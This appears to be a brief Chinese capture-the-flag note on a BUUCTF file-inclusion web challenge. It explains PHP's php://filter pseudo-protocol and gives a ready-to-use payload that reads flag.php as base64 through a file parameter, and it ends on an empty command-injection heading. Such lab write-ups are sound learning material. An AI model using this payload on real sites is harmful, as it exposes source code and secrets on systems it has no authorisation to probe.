无题

buuctf web

####[ACTF2020 新生赛]Include 1【文件包含】【读取代码】

#####php伪协议：

php伪协议实现命令执行,任意文件读取：（php://filter 的使用）

1. 构造payload

2. php://filter/read=convert.base64-encode/resource=[文件名]

所以根据题目：构造payload：?file=php://filter/read=convert.base64-encode/resource=flag.php

#命令行注入